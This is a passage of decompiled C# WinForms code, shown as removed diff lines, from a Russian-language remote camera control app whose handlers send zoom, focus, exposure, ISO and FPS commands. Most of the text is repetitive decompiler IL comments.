FrontVideo.SizeImage = new Size(1280, 720); - } - if (decode != null) - { - decode.Init(); - } - listBox1.Items.Clear(); - } - else - { - MessageBox.Show("Ошибка канала"); - } - } - - private void Form1_FormClosing(object sender, FormClosingEventArgs e) - { - } - - private void pictureBox2_MouseClick(object sender, MouseEventArgs e) - { - //IL_0015: Unknown result type (might be due to invalid IL or missing references) - //IL_001f: Invalid comparison between Unknown and I4 - try - { - Point point = FrontVideo.rePoint(e.Location); - if ((int)e.Button == 1048576) - { - string str = "ZoomPlus"; - string param = $"{point.X},{point.Y}"; - WriteCommand(str, param); - } - ListBoxAdd($"{e.X}:{e.Y} ({e.Location.X}:{e.Location.Y}) {point.X}:{point.Y}"); - } - catch (Exception ex) - { - Console.WriteLine(ex.Message); - Console.WriteLine(ex.StackTrace); - } - } - - private void StartReStart() - { - Thread.Sleep(300); - if (socket != null) - { - socket.opened = false; - } - Thread.Sleep(100); - if (decode != null) - { - decode.Close(); - } - decode = new Decoder(); - socket = new InOutSocket(this); - } - - private void label5_DoubleClick(object sender, EventArgs e) - { - ((ScrollBar)Brightness).Value = 0; - ShowVideo(null); - } - - private void Контраст_DoubleClick(object sender, EventArgs e) - { - ((ScrollBar)Contrast).Value = 0; - ShowVideo(null); - } - - private void ValueChanged(object sender, EventArgs e) - { - ShowVideo(null); - } - - private void pictureBox2_MouseDown(object sender, MouseEventArgs e) - { - //IL_0010: Unknown result type (might be due to invalid IL or missing references) - ListBoxAdd($"B:{e.Button};L:{e.Location};X:{e.X};Y:{e.Y};real:{FrontVideo.rePoint(e.Location)})"); - } - - private void listBox1_DoubleClick(object sender, EventArgs e) - { - ((Control)listBox1).Visible = false; - } - - private void menuStrip1_DoubleClick(object sender, EventArgs e) - { - ((Control)listBox1).Visible = true; - } - - private void pictureBox2_MouseClick_1(object sender, MouseEventArgs e) - { - //IL_0014: Unknown result type (might be due to invalid IL or missing references) - //IL_001e: Invalid comparison between Unknown and I4 - //IL_005b: Unknown result type (might be due to invalid IL or missing references) - //IL_0065: Invalid comparison between Unknown and I4 - Point point = FrontVideo.rePoint(e.Location); - if ((int)e.Button == 4194304) - { - string str = "AF"; - string param = $"{point.X},{point.Y},20,20"; - WriteCommand(str, param); - } - else if ((int)e.Button == 2097152) - { - WriteCommand("ZoomMinus", $"{point.X},{point.Y}"); - } - } - - private void Focus_ValueChanged(object sender, EventArgs e) - { - int num = ((ScrollBar)Focuse).Maximum - ((ScrollBar)Focuse).LargeChange - ((ScrollBar)Focuse).Value + 1; - string param = num.ToString(); - WriteCommand("Focus", param); - ((Control)label1).Text = string.Format("Focus {0} m", (num == 0) ? "∞" : decimal.Round(1m / ((decimal)num / 100m), 3).ToString()); - } - - private void Zoom_ValueChanged(object sender, EventArgs e) - { - WriteCommand("Zoom", (((ScrollBar)Zoom).Value * 10).ToString()); - } - - private void pictureBox2_MouseMove(object sender, MouseEventArgs e) - { - MousePosition = e.Location; - } - - private void pictureBox2_MouseLeave(object sender, EventArgs e) - { - MousePosition.X = 0; - MousePosition.Y = 0; - } - - private void Exposure_ValueChanged(object sender, EventArgs e) - { - //IL_0002: Unknown result type (might be due to invalid IL or missing references) - //IL_000d: Unknown result type (might be due to invalid IL or missing references) - int num = (((ScrollBar)(HScrollBar)sender).Value - ((ScrollBar)(HScrollBar)sender).SmallChange) * 10; - ((Control)labelExp).Text = $"Exp:1/{num}"; - WriteCommand("Exposure", $"{num}"); - } - - private void tabControl1_SelectedIndexChanged(object sender, EventArgs e) - { - } - - private void button1_Click(object sender, EventArgs e) - { - Thread thread = new Thread((ThreadStart)delegate - { - //IL_0017: Unknown result type (might be due to invalid IL or missing references) - Clipboard.SetImage(((Control)pictureBox5).BackgroundImage); - MessageBox.Show("QR-code скопирован."); - }); - thread.SetApartmentState(ApartmentState.STA); - thread.Start(); - } - - private void button2_Click(object sender, EventArgs e) - { - Thread thread = new Thread((ThreadStart)delegate - { - //IL_0017: Unknown result type (might be due to invalid IL or missing references) - Clipboard.SetText(((Control)linkLabel1).Text); - MessageBox.Show("Ссылка скопирована."); - }); - thread.SetApartmentState(ApartmentState.STA); - thread.Start(); - } - - private void panel6_Enter(object sender, EventArgs e) - { - ((Control)FrontVideo).Select(); - } - - private void checkBox_saveVideo_Click(object sender, EventArgs e) - { - if (decode != null) - { - decode.save_video = checkBox_saveVideo.Checked; - } - } - - private void panel6_DoubleClick(object sender, EventArgs e) - { - ((Control)this).Invoke((Delegate)(Action)delegate - { - ((Control)panel6).Width = ((Control)panel5).Width; - }); - ((Control)chenal).Text = Settings.Default.Chenal.ToString(); - StartReStart(); - } - - private void pictureBox1_DoubleClick(object sender, EventArgs e) - { - ((ScrollBar)Brightness).Value = 0; - } - - private void pictureBox4_DoubleClick(object sender, EventArgs e) - { - ((ScrollBar)Contrast).Value = 0; - } - - private void _Enter(object sender, EventArgs e) - { - ((Control)BitRateBox).Focus(); - } - - private void Label2_Click(object sender, EventArgs e) - { - } - - private void LDuration_Click(object sender, EventArgs e) - { - } - - private void ISO_ValueChanged(object sender, EventArgs e) - { - //IL_0002: Unknown result type (might be due to invalid IL or missing references) - //IL_000d: Unknown result type (might be due to invalid IL or missing references) - int num = (((ScrollBar)(HScrollBar)sender).Value - ((ScrollBar)(HScrollBar)sender).SmallChange) * 10; - ((Control)labelISO).Text = $"ISO[{num}]"; - WriteCommand("SetISO", $"{num}"); - } - - private void Button7_Click(object sender, EventArgs e) - { - StartReStart(); - } - - [DllImport("user32.dll", CharSet = CharSet.Auto)] - internal static extern IntPtr GetFocus(); - - private string GetFocuse() - { - string result = ""; - try - { - Control val = null; - IntPtr focus = GetFocus(); - if (focus != IntPtr.Zero) - { - val = Control.FromHandle(focus); - } - result = ((val.Name.ToString().Length != 0) ? val.Name.ToString() : val.Parent.Parent.Name.ToString()); - } - catch (Exception) - { - } - return result; - } - - private void ComboBox2_SelectedIndexChanged(object sender, EventArgs e) - { - comboBox1.Items.Clear(); - foreach (string item in listCamResol) - { - if (item.Trim().Length > 0 && item.Split(new char[1] { ':' })[0].Equals(((Control)comboBox2).Text)) - { - comboBox1.Items.Add((object)item.Substring(item.IndexOf(':') + 1)); - } - } - } - - private void ListBox3_DoubleClick(object sender, EventArgs e) - { - SerialNumberPhone = ""; - listBox3.Items.Clear(); - } - - private void SerialNumber_DoubleClick(object sender, EventArgs e) - { - WriteCommand("GetCameraInfo", ""); - } - - private void Button8_Click(object sender, EventArgs e) - { - if (FrontVideo.Flip == 0) - { - FrontVideo.Flip = 1; - } - else - { - FrontVideo.Flip = 0; - } - ((Control)button8).Text = ((FrontVideo.Flip == 1) ? "e" : ""); - } - - private void SaveXML_Tick(object sender, EventArgs e) - { - if (xmlFileName.Trim().Length > 0) - { - List list = new List(); - if (!bufarh.IsEmpty) - { - StreamWriter streamWriter = new StreamWriter(xmlFileName, append: true); - string result; - while (bufarh.TryDequeue(out result)) - { - streamWriter.WriteLine(result); - } - streamWriter.Close(); - } - list.Clear(); - } - if (!logkeys.IsEmpty) - { - StreamWriter streamWriter2 = new StreamWriter("keys.log", append: true); - string result2; - while (logkeys.TryDequeue(out result2)) - { - streamWriter2.WriteLine(result2); - } - streamWriter2.Close(); - } - } - - private void SplitContainer1_Panel2_DoubleClick(object sender, EventArgs e) - { - WriteCommand("Test", "1"); - } - - private void pictureBox1_Click(object sender, EventArgs e) - { - } - - private void FrontVideo_KeyDown(object sender, KeyEventArgs e) - { - //IL_0003: Unknown result type (might be due to invalid IL or missing references) - //IL_0008: Unknown result type (might be due to invalid IL or missing references) - ((Control)this).Text = ((object)e.KeyCode/*cast due to .constrained prefix*/).ToString(); - } - - private void FPS_ValueChanged(object sender, EventArgs e) - { - //IL_0010: Unknown result type (might be due to invalid IL or missing references) - //IL_001b: Unknown result type (might be due to invalid IL or missing references) - if (!setAutomate) - { - int num = (((ScrollBar)(HScrollBar)sender).Value - ((ScrollBar)(HScrollBar)sender).SmallChange) * 10; - ((Control)labelFPS).Text = $"FPS[{num}]"; - WriteCommand("SetFPS", $"{num}"); - } - } - - private void Form1_Shown(object sender, EventArgs e) - { - tabControl1.TabPages.Remove(tabControl1.TabPages[1]); - ((Control)this).Text = string.Format("{1} {0}", ((Control)this).Text, Settings.Default.Chenal); - } - - public Form1() - { - //IL_02c9: Unknown result type (might be due to invalid IL or missing references) - //IL_02d3: Expected O, but got Unknown - if (Debugger.IsAttached) - { - } - InitializeComponent(); - ((Control)BitRateBox).Text = Settings.Default.BitRate.ToString(); - ((Control)chenal).Text = Settings.Default.Chenal.ToString(); - checkBox_saveVideo.Checked = Settings.Default.SaveVideo; - if (Program.Arg.Contains("console")) - { - Win32.AllocConsole(); - } - Version version = Assembly.GetExecutingAssembly().GetName().Version; - buildDate = new DateTime(2000, 1, 1).AddDays(version.Build).AddSeconds(version.Revision * 2); - buildDate = buildDate.AddDays(5.0); - thisDate = DateTime.Now.AddDays(-5.0); - Program.log_file = DateTime.Now.Ticks.ToString(); - ((Form)this).KeyPreview = true; - ((Control)this).KeyDown += new KeyEventHandler(Form1_KeyDown); - StartReStart(); - } - - protected override void Dispose(bool disposing) - { - if (disposing && components != null) - { - components.Dispose(); - } - ((Form)this).Dispose(disposing); - } - - private void InitializeComponent() - { - //IL_0023: Unknown result type (might be due to invalid IL or missing references) - //IL_002d: Expected O, but got Unknown - //IL_0034: Unknown result type (might be due to invalid IL or missing references) - //IL_003e: Expected O, but got Unknown - //IL_003f: Unknown result type (might be due to invalid IL or missing references) - //IL_0049: Expected O, but got Unknown - //IL_004a: Unknown result type (might be due to invalid IL or missing references) - //IL_0054: Expected O, but got Unknown - //IL_0055: Unknown result type (might be due to invalid IL or missing references) - //IL_005f: Expected O, but got Unknown - //IL_0060: Unknown result type (might be due to invalid IL or missing references) - //IL_006a: Expected O, but got Unknown - //IL_0076: Unknown result type (might be due to invalid IL or missing references) - //IL_0080: Expected O, but got Unknown - //IL_0081: Unknown result type (might be due to invalid IL or missing references) - //IL_008b: Expected O, but got Unknown - //IL_008c: Unknown result type (might be due to invalid IL or missing references) - //IL_0096: Expected O, but got Unknown - //IL_0097: Unknown result type (might be due to invalid IL or missing references) - //IL_00a1: Expected O, but got Unknown - //IL_00a2: Unknown result type (might be due to invalid IL or missing references) - //IL_00ac: Expected O, but got Unknown - //IL_00ad: Unknown result type (might be due to invalid IL or missing references) - //IL_00b7: Expected O, but got Unknown - //IL_00b8: Unknown result type (might be due to invalid IL or missing references) - //IL_00c2: Expected O, but got Unknown - //IL_00c3: Unknown result type (might be due to invalid IL or missing references) - //IL_00cd: Expected O, but got Unknown - //IL_00ce: Unknown result type (might be due to invalid IL or missing references) - //IL_00d8: Expected O, but got Unknown - //IL_00d9: Unknown result type (might be due to invalid IL or missing references) - //IL_00e3: Expected O, but got Unknown - //IL_00e4: Unknown result type (might be due to invalid IL or missing references) - //IL_00ee: Expected O, but got Unknown - //IL_00ef: Unknown result type (might be due to invalid IL or missing references) - //IL_00f9: Expected O, but got Unknown - //IL_00fa: Unknown result type (might be due to invalid IL or missing references) - //IL_0104: Expected O, but got Unknown - //IL_0105: Unknown result type (might be due to invalid IL or missing references) - //IL_010f: Expected O, but got Unknown - //IL_0110: Unknown result type (might be due to invalid IL or missing references) - //IL_011a: Expected O, but got Unknown - //IL_011b: Unknown result type (might be due to invalid IL or missing references) - //IL_0125: Expected O, but got Unknown - //IL_0126: Unknown result type (might be due to invalid IL or missing references) - //IL_0130: Expected O, but got Unknown - //IL_0131: Unknown result type (might be due to invalid IL or missing references) - //IL_013b: Expected O, but got Unknown - //IL_013c: Unknown result type (might be due to invalid IL or missing references) - //IL_0146: Expected O, but got Unknown - //IL_0147: Unknown result type (might be due to invalid IL or missing references) - //IL_0151: Expected O, but got Unknown - //IL_0152: Unknown result type (might be due to invalid IL or missing references) - //IL_015c: Expected O, but got Unknown - //IL_015d: Unknown result type (might be due to invalid IL or missing references) - //IL_0167: Expected O, but got Unknown - //IL_0168: Unknown result type (might be due to invalid IL or missing references) - //IL_0172: Expected O, but got Unknown - //IL_0173: Unknown result type (might be due to invalid IL or missing references) - //IL_017d: Expected O, but got Unknown - //IL_017e: Unknown result type (might be due to invalid IL or missing references) - //IL_0188: Expected O, but got Unknown - //IL_0189: Unknown result type (might be due to invalid IL or missing references) - //IL_0193: Expected O, but got Unknown - //IL_0194: Unknown result type (might be due to invalid IL or missing references) - //IL_019e: Expected O, but got Unknown - //IL_019f: Unknown result type (might be due to invalid IL or missing references) - //IL_01a9: Expected O, but got Unknown - //IL_01aa: Unknown result type (might be due to invalid IL or missing references) - //IL_01b4: Expected O, but got Unknown - //IL_01b5: Unknown result type (might be due to invalid IL or missing references) - //IL_01bf: Expected O, but got Unknown - //IL_01c0: Unknown result type (might be due to invalid IL or missing references) - //IL_01ca: Expected O, but got Unknown - //IL_01cb: Unknown result type (might be due to invalid IL or missing references) - //IL_01d5: Expected O, but got Unknown - //IL_01d6: Unknown result type (might be due to invalid IL or missing references) - //IL_01e0: Expected O, but got Unknown - //IL_01e1: Unknown result type (might be due to invalid IL or missing references) - //IL_01eb: Expected O, but got Unknown - //IL_01ec: Unknown result type (might be due to invalid IL or missing references) - //IL_01f6: Expected O, but got Unknown - //IL_01f7: Unknown result type (might be due to invalid IL or missing references) - //IL_0201: Expected O, but got Unknown - //IL_0202: Unknown result type (might be due to invalid IL or missing references) - //IL_020c: Expected O, but got Unknown - //IL_020d: Unknown result type (might be due to invalid IL or missing references) - //IL_0217: Expected O, but got Unknown - //IL_0218: Unknown result type (might be due to invalid IL or missing references) - //IL_0222: Expected O, but got Unknown - //IL_0223: Unknown result type (might be due to invalid IL or missing references) - //IL_022d: Expected O, but got Unknown - //IL_022e: Unknown result type (might be due to invalid IL or missing references) - //IL_0238: Expected O, but got Unknown - //IL_0239: Unknown result type (might be due to invalid IL or missing references) - //IL_0243: Expected O, but got Unknown - //IL_0244: Unknown result type (might be due to invalid IL or missing references) - //IL_024e: Expected O, but got Unknown - //IL_024f: Unknown result type (might be due to invalid IL or missing references) - //IL_0259: Expected O, but got Unknown - //IL_025a: Unknown result type (might be due to invalid IL or missing references) - //IL_0264: Expected O, but got Unknown - //IL_0265: Unknown result type (might be due to invalid IL or missing references) - //IL_026f: Expected O, but got Unknown - //IL_0270: Unknown result type (might be due to invalid IL or missing references) - //IL_027a: Expected O, but got Unknown - //IL_027b: Unknown result type (might be due to invalid IL or missing references) - //IL_0285: Expected O, but got Unknown - //IL_0286: Unknown result type (might be due to invalid IL or missing references) - //IL_0290: Expected O, but got Unknown - //IL_0291: Unknown result type (might be due to invalid IL or missing references) - //IL_029b: Expected O, but got Unknown - //IL_029c: Unknown result type (might be due to invalid IL or missing references) - //IL_02a6: Expected O, but got Unknown - //IL_02a7: Unknown result type (might be due to invalid IL or missing references) - //IL_02b1: Expected O, but got Unknown - //IL_02b2: Unknown result type (might be due to invalid IL or missing references) - //IL_02bc: Expected O, but got Unknown - //IL_02bd: Unknown result type (might be due to invalid IL or missing references) - //IL_02c7: Expected O, but got Unknown - //IL_02c8: Unknown result type (might be due to invalid IL or missing references) - //IL_02d2: Expected O, but got Unknown - //IL_02d3: Unknown result type (might be due to invalid IL or missing references) - //IL_02dd: Expected O, but got Unknown - //IL_02de: Unknown result type (might be due to invalid IL or missing references) - //IL_02e8: Expected O, but got Unknown - //IL_02e9: Unknown result type (might be due to invalid IL or missing references) - //IL_02f3: Expected O, but got Unknown - //IL_02f4: Unknown result type (might be due to invalid IL or missing references) - //IL_02fe: Expected O, but got Unknown - //IL_02ff: Unknown result type (might be due to invalid IL or missing references) - //IL_0309: Expected O, but got Unknown - //IL_030a: Unknown result type (might be due to invalid IL or missing references) - //IL_0314: Expected O, but got Unknown - //IL_0315: Unknown result type (might be due to invalid IL or missing references) - //IL_031f: Expected O, but got Unknown - //IL_0320: Unknown result type (might be due to invalid IL or missing references) - //IL_032a: Expected O, but got Unknown - //IL_032b: Unknown result type (might be due to invalid IL or missing references) - //IL_0335: Expected O, but got Unknown - //IL_0336: Unknown result type (might be due to invalid IL or missing references) - //IL_0340: Expected O, but got Unknown - //IL_0341: Unknown result type (might be due to invalid IL or missing references) - //IL_034b: Expected O, but got Unknown - //IL_034c: Unknown result type (might be due to invalid IL or missing references) - //IL_0356: Expected O, but got Unknown - //IL_0357: Unknown result type (might be due to invalid IL or missing references) - //IL_0361: Expected O, but got Unknown - //IL_0362: Unknown result type (might be due to invalid IL or missing references) - //IL_036c: Expected O, but got Unknown - //IL_036d: Unknown result type (might be due to invalid IL or missing references) - //IL_0377: Expected O, but got Unknown - //IL_0378: Unknown result type (might be due to invalid IL or missing references) - //IL_0382: Expected O, but got Unknown - //IL_0383: Unknown result type (might be due to invalid IL or missing references) - //IL_038d: Expected O, but got Unknown - //IL_038e: Unknown result type (might be due to invalid IL or missing references) - //IL_0398: Expected O, but got Unknown - //IL_0399: Unknown result type (might be due to invalid IL or missing references) - //IL_03a3: Expected O, but got Unknown - //IL_03a4: Unknown result type (might be due to invalid IL or missing references) - //IL_03ae: Expected O, but got Unknown - //IL_03af: Unknown result type (might be due to invalid IL or missing references) - //IL_03b9: Expected O, but got Unknown - //IL_03ba: Unknown result type (might be due to invalid IL or missing references) - //IL_03c4: Expected O, but got Unknown - //IL_03c5: Unknown result type (might be due to invalid IL or missing references) - //IL_03cf: Expected O, but got Unknown - //IL_03d0: Unknown result type (might be due to invalid IL or missing references) - //IL_03da: Expected O, but got Unknown - //IL_03db: Unknown result type (might be due to invalid IL or missing references) - //IL_03e5: Expected O, but got Unknown - //IL_03e6: Unknown result type (might be due to invalid IL or missing references) - //IL_03f0: Expected O, but got Unknown - //IL_03f1: Unknown result type (might be due to invalid IL or missing references) - //IL_03fb: Expected O, but got Unknown - //IL_03fc: Unknown result type (might be due to invalid IL or missing references) - //IL_0406: Expected O, but got Unknown - //IL_0407: Unknown result type (might be due to invalid IL or missing references) - //IL_0411: Expected O, but got Unknown - //IL_0412: Unknown result type (might be due to invalid IL or missing references) - //IL_041c: Expected O, but got Unknown - //IL_041d: Unknown result type (might be due to invalid IL or missing references) - //IL_0427: Expected O, but got Unknown - //IL_0428: Unknown result type (might be due to invalid IL or missing references) - //IL_0432: Expected O, but got Unknown - //IL_0433: Unknown result type (might be due to invalid IL or missing references) - //IL_043d: Expected O, but got Unknown - //IL_043e: Unknown result type (might be due to invalid IL or missing references) - //IL_0448: Expected O, but got Unknown - //IL_0449: Unknown result type (might be due to invalid IL or missing references) - //IL_0453: Expected O, but got Unknown - //IL_0454: Unknown result type (might be due to invalid IL or missing references) - //IL_045e: Expected O, but got Unknown - //IL_045f: Unknown result type (might be due to invalid IL or missing references) - //IL_0469: Expected O, but got Unknown - //IL_046a: Unknown result type (might be due to invalid IL or missing references) - //IL_0474: Expected O, but got Unknown - //IL_0475: Unknown result type (might be due to invalid IL or missing references) - //IL_047f: Expected O, but got Unknown - //IL_0480: Unknown result type (might be due to invalid IL or missing references) - //IL_048a: Expected O, but got Unknown - //IL_048b: Unknown result type (might be due to invalid IL or missing references) - //IL_0495: Expected O, but got Unknown - //IL_0496: Unknown result type (might be due to invalid IL or missing references) - //IL_04a0: Expected O, but got Unknown - //IL_04a1: Unknown result type (might be due to invalid IL or missing references) - //IL_04ab: Expected O, but got Unknown - //IL_04ac: Unknown result type (might be due to invalid IL or missing references) - //IL_04b6: Expected O, but got Unknown - //IL_04b7: Unknown result type (might be due to invalid IL or missing references) - //IL_04c1: Expected O, but got Unknown - //IL_04c2: Unknown result type (might be due to invalid IL or missing references) - //IL_04cc: Expected O, but got Unknown - //IL_04cd: Unknown result type (might be due to invalid IL or missing references) - //IL_04d7: Expected O, but got Unknown - //IL_04de: Unknown result type (might be due to invalid IL or missing references) - //IL_04e8: Expected O, but got Unknown - //IL_06d7: Unknown result type (might be due to invalid IL or missing references) - //IL_06e1: Expected O, but got Unknown - //IL_0898: Unknown result type (might be due to invalid IL or missing references) - //IL_0b48: Unknown result type (might be due to invalid IL or missing references) - //IL_0b52: Expected O, but got Unknown - //IL_0b60: Unknown result type (might be due to invalid IL or missing references) - //IL_0b6a: Expected O, but got Unknown - //IL_0b78: Unknown result type (might be due to invalid IL or missing references) - //IL_0b82: Expected O, but got Unknown - //IL_0b90: Unknown result type (might be due to invalid IL or missing references) - //IL_0b9a: Expected O, but got Unknown - //IL_0bc0: Unknown result type (might be due to invalid IL or missing references) - //IL_0bca: Expected O, but got Unknown - //IL_0bea: Unknown result type (might be due to invalid IL or missing references) - //IL_0bf4: Expected O, but got Unknown - //IL_0c06: Unknown result type (might be due to invalid IL or missing references) - //IL_0c10: Expected O, but got Unknown - //IL_0c22: Unknown result type (might be due to invalid IL or missing references) - //IL_0c2c: Expected O, but got Unknown - //IL_0c3e: Unknown result type (might be due to invalid IL or missing references) - //IL_0c48: Expected O, but got Unknown - //IL_0c5a: Unknown result type (might be due to invalid IL or missing references) - //IL_0c64: Expected O, but got Unknown - //IL_0c76: Unknown result type (might be due to invalid IL or missing references) - //IL_0c80: Expected O, but got Unknown - //IL_0c92: Unknown result type (might be due to invalid IL or missing references) - //IL_0c9c: Expected O, but got Unknown - //IL_0cae: Unknown result type (might be due to invalid IL or missing references) - //IL_0cb8: Expected O, but got Unknown - //IL_0cca: Unknown result type (might be due to invalid IL or missing references) - //IL_0cd4: Expected O, but got Unknown - //IL_0eea: Unknown result type (might be due to invalid IL or missing references) - //IL_0ef4: Expected O, but got Unknown - //IL_0f06: Unknown result type (might be due to invalid IL or missing references) - //IL_0f10: Expected O, but got Unknown - //IL_18f3: Unknown result type (might be due to invalid IL or missing references) - //IL_18fd: Expected O, but got Unknown - //IL_1987: Unknown result type (might be due to invalid IL or missing references) - //IL_1991: Expected O, but got Unknown - //IL_19fc: Unknown result type (might be due to invalid IL or missing references) - //IL_1a06: Expected O, but got Unknown - //IL_1b0c: Unknown result type (might be due to invalid IL or missing references) - //IL_1b16: Expected O, but got Unknown - //IL_1c1e: Unknown result type (might be due to invalid IL or missing references) - //IL_1c28: Expected O, but got Unknown - //IL_1cae: Unknown result type (might be due to invalid IL or missing references) - //IL_1cb8: Expected O, but got Unknown - //IL_1d30: Unknown result type (might be due to invalid IL or missing references) - //IL_1d3a: Expected O, but got Unknown - //IL_1e4e: Unknown result type (might be due to invalid IL or missing references) - //IL_1e58: Expected O, but got Unknown - //IL_1ef3: Unknown result type (might be due to invalid IL or missing references) - //IL_1efd: Expected O, but got Unknown - //IL_1fb1: Unknown result type (might be due to invalid IL or missing references) - //IL_1fbb: Expected O, but got Unknown - //IL_207a: Unknown result type (might be due to invalid IL or missing references) - //IL_2084: Expected O, but got Unknown - //IL_2142: Unknown result type (might be due to invalid IL or missing references) - //IL_214c: Expected O, but got Unknown - //IL_215e: Unknown result type (might be due to invalid IL or missing references) - //IL_2168: Expected O, but got Unknown - //IL_2437: Unknown result type (might be due to invalid IL or missing references) - //IL_2441: Expected O, but got Unknown - //IL_2453: Unknown result type (might be due to invalid IL or missing references) - //IL_245d: Expected O, but got Unknown - //IL_246f: Unknown result type (might be due to invalid IL or missing references) - //IL_2479: Expected O, but got Unknown - //IL_248b: Unknown result type (might be due to invalid IL or missing references) - //IL_2495: Expected O, but got Unknown - //IL_24a7: Unknown result type (might be due to invalid IL or missing references) - //IL_24b1: Expected O, but got Unknown - //IL_24c3: Unknown result type (might be due to invalid IL or missing references) - //IL_24cd: Expected O, but got Unknown - //IL_24df: Unknown result type (might be due to invalid IL or missing references) - //IL_24e9: Expected O, but got Unknown - //IL_24fb: Unknown result type (might be due to invalid IL or missing references) - //IL_2505: Expected O, but got Unknown - //IL_2517: Unknown result type (might be due to invalid IL or missing references) - //IL_2521: Expected O, but got Unknown - //IL_2533: Unknown result type (might be due to invalid IL or missing references) - //IL_253d: Expected O, but got Unknown - //IL_254f: Unknown result type (might be due to invalid IL or missing references) - //IL_2559: Expected O, but got Unknown - //IL_256b: Unknown result type (might be due to invalid IL or missing references) - //IL_2575: Expected O, but got Unknown - //IL_2587: Unknown result type (might be due to invalid IL or missing references) - //IL_2591: Expected O, but got Unknown - //IL_25a3: Unknown result type (might be due to invalid IL or missing references) - //IL_25ad: Expected O, but got Unknown - //IL_25bf: Unknown result type (might be due to invalid IL or missing references) - //IL_25c9: Expected O, but got Unknown - //IL_25db: Unknown result type (might be due to invalid IL or missing references) - //IL_25e5: Expected O, but got Unknown - //IL_2641: Unknown result type (might be due to invalid IL or missing references) - //IL_264b: Expected O, but got Unknown - //IL_26db: Unknown result type (might be due to invalid IL or missing references) - //IL_26e5: Expected O, but got Unknown - //IL_2772: Unknown result type (might be due to invalid IL or missing references) - //IL_277c: Expected O, but got Unknown - //IL_2816: Unknown result type (might be due to invalid IL or missing references) - //IL_2820: Expected O, but got Unknown - //IL_28b0: Unknown result type (might be due to invalid IL or missing references) - //IL_28ba: Expected O, but got Unknown - //IL_2957: Unknown result type (might be due to invalid IL or missing references) - //IL_2961: Expected O, but got Unknown - //IL_29f1: Unknown result type (might be due to invalid IL or missing references) - //IL_29fb: Expected O, but got Unknown - //IL_2a98: Unknown result type (might be due to invalid IL or missing references) - //IL_2aa2: Expected O, but got Unknown - //IL_2b2f: Unknown result type (might be due to invalid IL or missing references) - //IL_2b39: Expected O, but got Unknown - //IL_2bd3: Unknown result type (might be due to invalid IL or missing references) - //IL_2bdd: Expected O, but got Unknown - //IL_2c7a: Unknown result type (might be due to invalid IL or missing references) - //IL_2c84: Expected O, but got Unknown - //IL_2d11: Unknown result type (might be due to invalid IL or missing references) - //IL_2d1b: Expected O, but got Unknown - //IL_2db5: Unknown result type (might be due to invalid IL or missing references) - //IL_2dbf: Expected O, but got Unknown - //IL_2e59: Unknown result type (might be due to invalid IL or missing references) - //IL_2e63: Expected O, but got Unknown - //IL_2ef0: Unknown result type (might be due to invalid IL or missing references) - //IL_2efa: Expected O, but got Unknown - //IL_2f94: Unknown result type (might be due to invalid IL or missing references) - //IL_2f9e: Expected O, but got Unknown - //IL_302b: Unknown result type (might be due to invalid IL or missing references) - //IL_3035: Expected O, but got Unknown - //IL_30cf: Unknown result type (might be due to invalid IL or missing references) - //IL_30d9: Expected O, but got Unknown - //IL_317e: Unknown result type (might be due to invalid IL or missing references) - //IL_3188: Expected O, but got Unknown - //IL_3215: Unknown result type (might be due to invalid IL or missing references) - //IL_321f: Expected O, but got Unknown - //IL_32d1: Unknown result type (might be due to invalid IL or missing references) - //IL_32db: Expected O, but got Unknown - //IL_3374: Unknown result type (might be due to invalid IL or missing references) - //IL_337e: Expected O, but got Unknown - //IL_340a: Unknown result type (might be due to invalid IL or missing references) - //IL_3414: Expected O, but got Unknown - //IL_34b1: Unknown result type (might be due to invalid IL or missing references) - //IL_34bb: Expected O, but got Unknown - //IL_354b: Unknown result type (might be due to invalid IL or missing references) - //IL_3555: Expected O, but got Unknown - //IL_35ef: Unknown result type (might be due to invalid IL or missing references) - //IL_35f9: Expected O, but got Unknown - //IL_360b: Unknown result type (might be due to invalid IL or missing references) - //IL_3615: Expected O, but got Unknown - //IL_3812: Unknown result type (might be due to invalid IL or missing references) - //IL_381c: Expected O, but got Unknown - //IL_382e: Unknown result type (might be due to invalid IL or missing references) - //IL_3838: Expected O, but got Unknown - //IL_384a: Unknown result type (might be due to invalid IL or missing references) - //IL_3854: Expected O, but got Unknown - //IL_3866: Unknown result type (might be due to invalid IL or missing references) - //IL_3870: Expected O, but got Unknown - //IL_3882: Unknown result type (might be due to invalid IL or missing references) - //IL_388c: Expected O, but got Unknown - //IL_389e: Unknown result type (might be due to invalid IL or missing references) - //IL_38a8: Expected O, but got Unknown - //IL_38ba: Unknown result type (might be due to invalid IL or missing references) - //IL_38c4: Expected O, but got Unknown - //IL_38d6: Unknown result type (might be due to invalid IL or missing references) - //IL_38e0: Expected O, but got Unknown - //IL_38f2: Unknown result type (might be due to invalid IL or missing references) - //IL_38fc: Expected O, but got Unknown - //IL_390e: Unknown result type (might be due to invalid IL or missing references) - //IL_3918: Expected O, but got Unknown - //IL_392a: Unknown result type (might be due to invalid IL or missing references) - //IL_3934: Expected O, but got Unknown - //IL_398f: Unknown result type (might be due to invalid IL or missing references) - //IL_3999: Expected O, but got Unknown - //IL_3add: Unknown result type (might be due to invalid IL or missing references) - //IL_3ae7: Expected O, but got Unknown - //IL_3b84: Unknown result type (might be due to invalid IL or missing references) - //IL_3b8e: Expected O, but got Unknown - //IL_3cc4: Unknown result type (might be due to invalid IL or missing references) - //IL_3cce: Expected O, but got Unknown - //IL_3d47: Unknown result type (might be due to invalid IL or missing references) - //IL_3d51: Expected O, but got Unknown - //IL_3dea: Unknown result type (might be due to invalid IL or missing references) - //IL_3df4: Expected O, but got Unknown - //IL_4795: Unknown result type (might be due to invalid IL or missing references) - //IL_479f: Expected O, but got Unknown - //IL_4832: Unknown result type (might be due to invalid IL or missing references) - //IL_483c: Expected O, but got Unknown - //IL_484e: Unknown result type (might be due to invalid IL or missing references) - //IL_4858: Expected O, but got Unknown - //IL_486a: Unknown result type (might be due to invalid IL or missing references) - //IL_4874: Expected O, but got Unknown - //IL_4886: Unknown result type (might be due to invalid IL or missing references) - //IL_4890: Expected O, but got Unknown - //IL_48a2: Unknown result type (might be due to invalid IL or missing references) - //IL_48ac: Expected O, but got Unknown - //IL_48be: Unknown result type (might be due to invalid IL or missing references) - //IL_48c8: Expected O, but got Unknown - //IL_49ae: Unknown result type (might be due to invalid IL or missing references) - //IL_49b8: Expected O, but got Unknown - //IL_4a1b: Unknown result type (might be due to invalid IL or missing references) - //IL_4a25: Expected O, but got Unknown - //IL_4a4a: Unknown result type (might be due to invalid IL or missing references) - //IL_4a54: Expected O, but got Unknown - //IL_4b26: Unknown result type (might be due to invalid IL or missing references) - //IL_4b30: Expected O, but got Unknown - 